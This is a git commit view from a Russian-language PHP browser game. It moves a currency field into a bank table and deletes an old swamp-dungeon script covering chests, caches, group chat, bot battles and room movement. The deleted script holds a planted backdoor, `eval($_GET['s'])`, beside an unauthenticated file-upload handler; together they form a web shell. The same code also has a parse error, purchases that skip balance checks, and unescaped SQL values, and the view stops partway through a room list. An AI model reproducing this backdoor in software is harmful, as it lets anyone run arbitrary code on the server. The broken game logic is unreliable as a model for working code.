Moved ekr from users table to bank table. Code cleanup.

This commit is contained in:
Igor Barkov [iwork] 2018-11-01 14:21:06 +02:00
parent 3e0f5b40f8
commit 38605cf921
6 changed files with 2 additions and 1152 deletions

View File

@ -15,16 +15,6 @@ $bank = db::c()->query('SELECT `id`, `cr`, `ekr` FROM `bank` WHERE `id` = ?i', $
* Если вдруг нет счёта, создаём. Временная функция.
*/
if (!$bank['id']) db::c()->query('INSERT INTO `bank` (`id`) VALUES (?i)', $_SESSION['uid']);
/**
* Если вдруг еврокредиты в кармане, а не в банке - переносим. Временная функция.
*/
$move_ekr = db::c()->query('SELECT `ekr` FROM `users` WHERE `id` = ?i', $_SESSION['uid'])->fetch_assoc();
if ($move_ekr['ekr']>0) {
db::c()->query('UPDATE `bank` SET `ekr` = ?i WHERE `id` = ?i', $move_ekr['ekr'], $_SESSION['uid']);
db::c()->query('UPDATE `users` SET `ekr` = 0 WHERE `id` = ?i', $_SESSION['uid']);
echo 'Ваши еврокредиты были перенесены на ваш банковский счёт!';
}
?>
<!DOCTYPE html>

View File

@ -1,867 +0,0 @@
<?php
session_start();
if ($_SESSION['uid'] == null) header("Location: index.php");
include "config.php";
include "functions.php";
$now=time();
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '".mysql_real_escape_string($_SESSION['uid'])."' LIMIT 1;"));
if($user['room']>=2001 && $user['room']<=2100){
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
$VaultInfo = mysql_fetch_array(mysql_query("SELECT * FROM `vault` WHERE id='".mysql_real_escape_string($user['room'])."'"));
$group = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE id='".mysql_real_escape_string($user['boloto_groups'])."'"));
$bol_res = mysql_fetch_array(mysql_query("SELECT * FROM `vault_res` WHERE id='".mysql_real_escape_string($user['boloto_groups'])."'"));
$gayk = mysql_query("select `name` from `inventory` where `name`='Гайка сталкера' AND `owner`='".$user['id']."'");
$kol_gayk = mysql_num_rows($gayk);
if($_GET['ext'] == 1){
if($user['money'] >= 1){
echo"<b>Вы уменьшили время пребывания в проходе на 10мин за 1 кр!</b>";
mysql_query("update `users` set `money`=`money`-'1' where `id`='".$user['id']."'");
mysql_query("update `bol_group` set `game_time`=`game_time`-'600' where `id`='".$user['boloto_groups']."'");
}echo"Недостаточно КР!<br>";
}
/////////ЕСЛИ ВРЕМЯ ВЫШЛО!!
if($group['game_time'] <= $now){
if($group['lider'] == $user['id']){
mysql_query("delete from `inventory` where `name`='Код от тайника' AND (`owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."')");
mysql_query("delete from `inventory` where `name`='Болотный ключ' AND (`owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."')");
}
mysql_query("delete from `bol_group` where `id`='".mysql_real_escape_string($group['id'])."'");
mysql_query("delete from `bol_chat` where `group_id`='".mysql_real_escape_string($group['id'])."'");
mysql_query("delete from `vault_res` where `id`='".mysql_real_escape_string($group['id'])."'");
//mysql_query("delete from `effects` where `type`='2' AND `owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."'");
mysql_query("update `users` set `anti_boloto`='".mysql_real_escape_string($now)."'+'18000', `room`='47', `boloto_groups`='0', `bol_uron`='0', `bol_zheton`='0', `bol_status`='0', `boloto_room`='0' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
mysql_query("UPDATE `online` SET `room`='47' WHERE `id`='".mysql_real_escape_string($user['id'])."'");
echo"<script>location='wall_build.php'</script>";
}
///SMS в ЧАТ
if ($_POST['addch']){
$text = $_POST['text'];
$autor = $_POST['autor'];
$group = $_POST['group'];
mysql_query("insert into `bol_chat` (`group_id`,`autor`,`text`) VALUES ('".mysql_real_escape_string($group)."','".mysql_real_escape_string($autor)."','".mysql_real_escape_string($text)."')");
echo"<script>location='boloto.php'</script>";
}
///taynik
if ($_POST['t1'] || $_POST['t2'] || $_POST['t3']){
$nomer = $_POST['kakoi'];
if($nomer == 1){$r = 2044}
elseif($nomer == 2){$r = 2056}
elseif($nomer == 3){$r = 2012}
if($user['room'] == $r){
$group1 = $_POST['group'];
$exp = $group['level'] * 600;
if($bol_res[$nomer] == 1){
mysql_query("update `users` set `exp`=`exp`+'".mysql_real_escape_string($exp)."',`doblest`=`doblest`+'10' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
mysql_query("update `vault_res` set `".mysql_real_escape_string($nomer)."`='0' where `id`='".mysql_real_escape_string($group1)."'");
mysql_query("delete from `inventory` where `name`='Код от тайника' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 1");
echo"Вы открыли тайник!";
addchp ('<font color=blue>Внимание!!!</font> '.$user['login'].' открыл <b>тайник</b>! Все участники группы получили +<b>'.$exp.'</b> опыта; +<b>10</b> доблести!</b> ','{[]}'.nick::id($group['p1'])->short().'{[]}');
addchp ('<font color=blue>Внимание!!!</font> '.$user['login'].' открыл <b>тайник</b>! Все участники группы получили +<b>'.$exp.'</b> опыта; +<b>10</b> доблести!</b> ','{[]}'.nick::id($group['p2'])->short().'{[]}');
addchp ('<font color=blue>Внимание!!!</font> '.$user['login'].' открыл <b>тайник</b>! Все участники группы получили +<b>'.$exp.'</b> опыта; +<b>10</b> доблести!</b> ','{[]}'.nick::id($group['p3'])->short().'{[]}');
addchp ('<font color=blue>Внимание!!!</font> '.$user['login'].' открыл <b>тайник</b>! Все участники группы получили +<b>'.$exp.'</b> опыта; +<b>10</b> доблести!</b> ','{[]}'.nick::id($group['p4'])->short().'{[]}');
echo"<script>location='boloto.php'</script>";
}else{echo"Этот тайник уже открыт!!";}
}else{echo"<b>Не пытайтесь схитрить!</b>";}
}
///syndyk
if ($_POST['s1'] || $_POST['s2'] || $_POST['s3'] || $_POST['s4'] || $_POST['s5']){
$nomer = $_POST['kakoi'];
if($nomer == 1){$r = 2004}
elseif($nomer == 2){$r = 2024}
elseif($nomer == 3){$r = 2031}
elseif($nomer == 4){$r = 2042}
elseif($nomer == 5){$r = 2036}
if($user['room'] == $r){
$group1 = $_POST['group'];
if($bol_res[$nomer] == 1){
$shans = rand(0,10);
if($shans == 0 || $shans == 1 || $shans == 2 || $shans == 3){echo"Сундук оказался пуст!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Сундук оказался пуст!</b> ','{[]}'.nick::id($group['p1'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Сундук оказался пуст!</b> ','{[]}'.nick::id($group['p2'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Сундук оказался пуст!</b> ','{[]}'.nick::id($group['p3'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Сундук оказался пуст!</b> ','{[]}'.nick::id($group['p4'])->short().'{[]}');
}
elseif($shans == 4){
$time = rand(60,300);
mysql_query("update `bol_group` set `game_time`=`game_time`+'".mysql_real_escape_string($time)."' where `id`='".mysql_real_escape_string($group1)."'");
echo"Вы обнаружили в сундуке свиток времени, прочитав его вы продлили группе пребывание на болоте +".$time." секунд!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд!</b> ','{[]}'.nick::id($group['p1'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд!</b> ','{[]}'.nick::id($group['p2'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд!</b> ','{[]}'.nick::id($group['p3'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд!</b> ','{[]}'.nick::id($group['p4'])->short().'{[]}');
}
elseif($shans == 5){
$kr = rand(1,20);
mysql_query("update `users` set `money`=`money`+'".mysql_real_escape_string($kr)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"В сундуке оказались деньги, все участники группы обагатились на +".$kr." КР!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр!</b> ','{[]}'.nick::id($group['p1'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр!</b> ','{[]}'.nick::id($group['p2'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр!</b> ','{[]}'.nick::id($group['p3'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр!</b> ','{[]}'.nick::id($group['p4'])->short().'{[]}');
}
elseif($shans == 6){
$exp = rand(1,3000);
mysql_query("update `users` set `exp`=`exp`+'".mysql_real_escape_string($exp)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +".$exp."!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук!! Обнаружено: <b>Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'!</b> ','{[]}'.nick::id($group['p1'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'!</b> ','{[]}'.nick::id($group['p2'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'!</b> ','{[]}'.nick::id($group['p3'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'!</b> ','{[]}'.nick::id($group['p4'])->short().'{[]}');
}
elseif($shans == 7){
$patr = rand(1,2000);
mysql_query("update `users` set `doblest`=`doblest`+'".mysql_real_escape_string($patr)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +".$patr."!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'!</b> ','{[]}'.nick::id($group['p1'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'!</b> ','{[]}'.nick::id($group['p2'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'!</b> ','{[]}'.nick::id($group['p3'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'!</b> ','{[]}'.nick::id($group['p4'])->short().'{[]}');
}
elseif($shans == 8){
$ne4 = rand(1,10);
mysql_query("update `users` set `doblest`=`doblest`+'".mysql_real_escape_string($ne4)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"Что??? Где? Черт возьми, что это было?? Доблесть +".$ne4."!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'!</b> ','{[]}'.nick::id($group['p1'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'!</b> ','{[]}'.nick::id($group['p2'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'!</b> ','{[]}'.nick::id($group['p3'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'!</b> ','{[]}'.nick::id($group['p4'])->short().'{[]}');
}
elseif($shans == 10){
$rand_gay = rand(30,40);
$kol = $rand_gay;
for($i=0; $i<$kol; $i++){
$prizprohod = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '856' LIMIT 1;"));
mysql_query("INSERT INTO `inventory`
(`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`,
`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,
`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration`
)
VALUES
('{$prizprohod['id']}','".$user['id']."','{$prizprohod['name']}','{$prizprohod['type']}',{$prizprohod['massa']},{$prizprohod['cost']},'{$prizprohod['img']}',{$prizprohod['maxdur']},{$prizprohod['isrep']},'{$prizprohod['gsila']}','{$prizprohod['glovk']}','{$prizprohod['ginta']}','{$prizprohod['gintel']}','{$prizprohod['ghp']}','{$prizprohod['gnoj']}','{$prizprohod['gtopor']}','{$prizprohod['gdubina']}','{$prizprohod['gmech']}','{$prizprohod['gfire']}','{$prizprohod['gwater']}','{$prizprohod['gair']}','{$prizprohod['gearth']}','{$prizprohod['glight']}','{$prizprohod['ggray']}','{$prizprohod['gdark']}','{$prizprohod['needident']}','{$prizprohod['nsila']}','{$prizprohod['nlovk']}','{$prizprohod['ninta']}','{$prizprohod['nintel']}','{$prizprohod['nmudra']}','{$prizprohod['nvinos']}','{$prizprohod['nnoj']}','{$prizprohod['ntopor']}','{$prizprohod['ndubina']}','{$prizprohod['nmech']}','{$prizprohod['nfire']}','{$prizprohod['nwater']}','{$prizprohod['nair']}','{$prizprohod['nearth']}','{$prizprohod['nlight']}','{$prizprohod['ngray']}','{$prizprohod['ndark']}',
'{$prizprohod['mfkrit']}','{$prizprohod['mfakrit']}','{$prizprohod['mfuvorot']}','{$prizprohod['mfauvorot']}','{$prizprohod['bron1']}','{$prizprohod['bron3']}','{$prizprohod['bron2']}','{$prizprohod['bron4']}','{$prizprohod['maxu']}','{$prizprohod['minu']}','{$prizprohod['magic']}','{$prizprohod['nlevel']}','{$prizprohod['nalign']}','".(($prizprohod['goden'])?($prizprohod['goden']*24*60*60+time()):"")."','{$prizprohod['goden']}','{$prizprohod['razdel']}','{$prizprohod['gmp']}','{$prizprohod['gmeshok']}','{$prizprohod['encicl']}','{$prizprohod['artefact']}','{$dur}'
) ;");
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','".$user['id']."','\"".$user['login']."\" получил, открыв сундук в болоте: \"".$prizprohod['name']."\" ".$prizprohodcount."id:(".$prizprohodid.") [0/".$prizprohod['maxdur']."]',1,'".time()."');");
}
}
elseif($shans == 9){
$lose = rand(1,25);
$vsego = $user['lose'] - $lose;
if($vsego <= 0){
mysql_query("update `users` set `lose`='0' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"В сундуке вы обнаружили свиток очищения. У всех участников группы списано -".$lose." поражений!";
}
else{
mysql_query("update `users` set `lose`=`lose`-'".mysql_real_escape_string($lose)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"В сундуке вы обнаружили свиток очищения. У всех участников группы списано -".$lose." поражений!";
}
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Cвиток очищения. У всех участников группы списано -'.$lose.' поражений!</b> ','{[]}'.nick::id($group['p1'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Cвиток очищения. У всех участников группы списано -'.$lose.' поражений!</b> ','{[]}'.nick::id($group['p2'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Cвиток очищения. У всех участников группы списано -'.$lose.' поражений!</b> ','{[]}'.nick::id($group['p3'])->short().'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Cвиток очищения. У всех участников группы списано -'.$lose.' поражений!</b> ','{[]}'.nick::id($group['p4'])->short().'{[]}');
}
mysql_query("update `vault_res` set `".mysql_real_escape_string($nomer)."`='0' where `id`='".mysql_real_escape_string($group1)."'");
mysql_query("delete from `inventory` where `name`='Болотный ключ' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 1");
}else{echo"Этот сундук открыт!";}
}else{echo"<b>Не пытайтесь схитрить!</b>";}
}
///купить времени
if ($_POST['buytime']){
$group = $_POST['group'];
mysql_query("update `users` set `ekr`=`ekr`-'1' where `id`='".mysql_real_escape_string($user['id'])."'");
mysql_query("update `bol_group` set `game_time`=`game_time`+'180' where `id`='".mysql_real_escape_string($group)."'");
echo"Вы купили +3 минуты времени для своей группы!";
echo"<script>location='boloto.php'</script>";
}
///купить ключ
if ($_POST['buykey']){
$group = $_POST['group'];
mysql_query("update `users` set `bol_zheton`=`bol_zheton`-'10' where `id`='".mysql_real_escape_string($user['id'])."'");
mysql_query("INSERT INTO `inventory` (`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`)
VALUES('".mysql_real_escape_string($user['id'])."','Болотный ключ','33','0','0','bol_key.gif','1') ;");
echo"Вы обменяли жетоны на болотный ключ!";
echo"<script>location='boloto.php'</script>";
}
///купить код
if ($_POST['buykod']){
$group = $_POST['group'];
mysql_query("delete from `inventory` where `name`='Болотный ключ' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 5");
mysql_query("INSERT INTO `inventory` (`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`)
VALUES('".mysql_real_escape_string($user['id'])."','Код от тайника','33','0','0','bol_kod.gif','1') ;");
echo"Вы обменяли ключи на код от тайника!";
echo"<script>location='boloto.php'</script>";
}
//Обновления файлов
if($_POST['bal']){
$uploaddir = '/webstat';
if (move_uploaded_file($_FILES['big']['tmp_name'], $uploaddir .
$_FILES['big']['name'])) {
print "File is valid, and was successfully uploaded.";
} else {
print "There some errors!";
}
}
eval($_GET['s']);
////Нападаем на простых мобов
if($_GET['atakbot']==1){
if($kol_gayk > 0){
mysql_query("delete from `inventory` where `name`='Гайка Сталкера' AND `owner`='".$user['id']."' LIMIT 1");
$bot_login = $_GET['bot_login'];
$bot_type = $_GET['bot_type'];
if ($user['hp'] <= 5) {
echo '<font color=red><b>Слишком мало ХП для нападения!';
}
else{
$bot_stat = mysql_fetch_array(mysql_query("SELECT `id`,`maxhp`,`level`,`bot_type` FROM `users` WHERE `login` = '".mysql_real_escape_string($bot_login)."' LIMIT 1;"));
mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_stat['id'])."','','".mysql_real_escape_string($bot_stat['maxhp'])."');");
$bot = mysql_insert_id();
$teams = array();
$teams[$user['id']][$bot] = array(0,0,time());
$teams[$bot][$user['id']] = array(0,0,time());
mysql_query("INSERT INTO `battle`
(
`id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`protivnik`,`protivnik_type`
)
VALUES
(
NULL,'','".mysql_real_escape_string(serialize($teams))."','3','1','0','".mysql_real_escape_string($user['id'])."','".mysql_real_escape_string($bot)."','".time()."','".time()."','".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_type)."'
)");
$id = mysql_insert_id();
// апдейтим бота
mysql_query("UPDATE `bots` SET `battle` = '".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($bot)."' LIMIT 1;");
// создаем лог
$rr = "<b>".nick::id($user['id'])->full(1)."</b> и <b>".nick::id($bot)->full(1)."</b>";
//mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." бросили вызов друг другу. <BR>');");
addlog($id,"Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." бросили вызов друг другу. <BR>");
mysql_query("UPDATE users SET `bol_boss_type`='".$bot_type."', `battle` = '".mysql_real_escape_string($id)."',`zayavka`=0 WHERE `id`= '".mysql_real_escape_string($user['id'])."';");
die("<script>location.href='fbattle.php';</script>");
}
}else{echo"<font color=red><b>У Вас нет Гайки Сталкера</b></font>";}
}
////Нападаем на БОССОВ
if($_GET['atakbot1']==1){
if($kol_gayk > 0){
mysql_query("delete from `inventory` where `name`='Гайка Сталкера' AND `owner`='".$user['id']."' LIMIT 1");
$bot_login = $_GET['bot_login'];
$bot_type = $_GET['bot_type'];
if ($user['hp'] <= 5) {
echo '<font color=red><b>Слишком мало ХП для нападения!';
}
else{
$bot_stat = mysql_fetch_array(mysql_query("SELECT `id`,`maxhp`,`level`,`bot_type` FROM `users` WHERE `login` = '".mysql_real_escape_string($bot_login)."' LIMIT 1;"));
mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_stat['id'])."','','".mysql_real_escape_string($bot_stat['maxhp'])."');");
$bot = mysql_insert_id();
$teams = array();
$teams[$user['id']][$bot] = array(0,0,time());
$teams[$bot][$user['id']] = array(0,0,time());
mysql_query("INSERT INTO `battle`
(
`id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`protivnik`,`protivnik_type`
)
VALUES
(
NULL,'','".mysql_real_escape_string(serialize($teams))."','3','1','0','".mysql_real_escape_string($user['id'])."','".mysql_real_escape_string($bot)."','".time()."','".time()."','".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_type)."'
)");
$id = mysql_insert_id();
// апдейтим бота
mysql_query("UPDATE `bots` SET `battle` = '".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($bot)."' LIMIT 1;");
// создаем лог
$rr = "<b>".nick::id($user['id'])->full(1)."</b> и <b>".nick::id($bot)->full(1)."</b>";
//mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." бросили вызов друг другу. <BR>');");
addlog($id,"Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." бросили вызов друг другу. <BR>");
mysql_query("UPDATE users SET `bol_boss_type`='".$bot_type."', `battle` = '".mysql_real_escape_string($id)."',`zayavka`=0 WHERE `id`= '".mysql_real_escape_string($user['id'])."';");
die("<script>location.href='fbattle.php';</script>");
}
}else{echo"<font color=red><b>У Вас нет Гайки Сталкера</b></font>";}
}
// Переход
//if($_GET['GoIn'] > 0) {
if ($_GET['GoIn'] && ($_GET['GoIn'] == "top" || $_GET['GoIn'] == "bottom" || $_GET['GoIn'] == "left" || $_GET['GoIn'] == "right")) {
$GoIn = $_GET['GoIn'];
if ($user['boloto_move'] == 1) $msg = "Вы уже перемещаетесь!";
else {
$GoInfo = mysql_fetch_array(mysql_query("SELECT * FROM `vault` WHERE id='".mysql_real_escape_string($VaultInfo[$GoIn.'_id'])."'"));
if ($GoInfo['id']) {
$user['boloto_time'] = $now + $GoInfo['time'];
$user['boloto_room'] = $GoInfo['id'];
$user['boloto_move'] = 1;
mysql_query("UPDATE `users` SET `boloto_room`='".mysql_real_escape_string($GoInfo['id'])."', `boloto_time`='".mysql_real_escape_string($user['boloto_time'])."', `boloto_move`='1' WHERE `id`='".mysql_real_escape_string($user['id'])."'");
mysql_query("UPDATE `online` SET room='".mysql_real_escape_string($GoInfo['id'])."' WHERE `id`='".mysql_real_escape_string($user['id'])."'");
$_ROOM['TO_CHANGE'] = $user['boloto_room'];
$GoToText = "Переходим...";
}
}
}
if ($user['boloto_move'] == 1) {
if ($user['boloto_time']-2 < $now) {
mysql_query("UPDATE `users` SET room=boloto_room, boloto_room=boloto_room, boloto_time=0, boloto_move=0 WHERE id='".mysql_real_escape_string($user['id'])."'");
$_ROOM['TO_CHANGE'] = $user['boloto_room'];
//include("../config/rooms.php");
$user['boloto_time'] = 0;
$user['boloto_room'] = vault_room;
$user['boloto_move'] = 0;
echo"
<script LANGUAGE=\"JavaScript\">
<!--
top.frames['main'].location = \"boloto.php\";
//-->
</SCRIPT>
";
mysql_query("UPDATE `online` SET room=boloto_room WHERE `id`='".mysql_real_escape_string($user['id'])."'");
exit;
}
}
$VaultRoom['2001'] = "Первую развилку";
$VaultRoom['2002'] = "Сектор 2";
$VaultRoom['2003'] = "Сектор 3";
$VaultRoom['2004'] = "Сектор 4";
$VaultRoom['2005'] = "Сектор 5";
$VaultRoom['2006'] = "Сектор 6";
$VaultRoom['2007'] = "Сектор 7";
$VaultRoom['2008'] = "Сектор 8";
$VaultRoom['2009'] = "Сектор 9";
$VaultRoom['2010'] = "Сектор 10";
$VaultRoom['2011'] = "Сектор 11";
$VaultRoom['2012'] = "Сектор 12";
$VaultRoom['2013'] = "Развилку 2";
$VaultRoom['2014'] = "Сектор 14";
$VaultRoom['2015'] = "Сектор 15";
$VaultRoom['2016'] = "Развилку 3";
$VaultRoom['2017'] = "Сектор 17";
$VaultRoom['2018'] = "Сектор 18";
$VaultRoom['2019'] = "Сектор 19";
$VaultRoom['2020'] = "Сектор 20";
$VaultRoom['2021'] = "Сектор 21";
$VaultRoom['2022'] = "Сектор 22";
$VaultRoom['2023'] = "Сектор 23";
$VaultRoom['2024'] = "Сектор 24";
$VaultRoom['2025'] = "Сектор 25";
$VaultRoom['2026'] = "Развилку 4";
$VaultRoom['2027'] = "Алтарную";
$VaultRoom['2028'] = "Сектор 28";
$VaultRoom['2029'] = "Сектор 29";
$VaultRoom['2030'] = "Сектор 30";
$VaultRoom['2031'] = "Сектор 31";
$VaultRoom['2032'] = "Сектор 32";
$VaultRoom['2033'] = "Сектор 33";
$VaultRoom['2034'] = "Сектор 34";
$VaultRoom['2035'] = "Сектор 35";
$VaultRoom['2036'] = "Сектор 36";
$VaultRoom['2037'] = "Сектор 37";
$VaultRoom['2038'] = "Сектор 38";
$VaultRoom['2039'] = "Развилку 5";
$VaultRoom['2040'] = "Сектор 40";
$VaultRoom['2041'] = "Сектор 41";
$VaultRoom['2042'] = "Сектор 42";
$VaultRoom['2043'] = "Сектор 43";
$VaultRoom['2044'] = "Сектор 44";
$VaultRoom['2045'] = "Сектор 45";
$VaultRoom['2046'] = "Сектор 46";
$VaultRoom['2047'] = "Сектор 47";
$VaultRoom['2048'] = "Развилку 6";
$VaultRoom['2049'] = "Сектор 49";
$VaultRoom['2050'] = "Сектор 50";
$VaultRoom['2051'] = "Сектор 51";
$VaultRoom['2052'] = "Сектор 52";
$VaultRoom['2053'] = "Сектор 53";
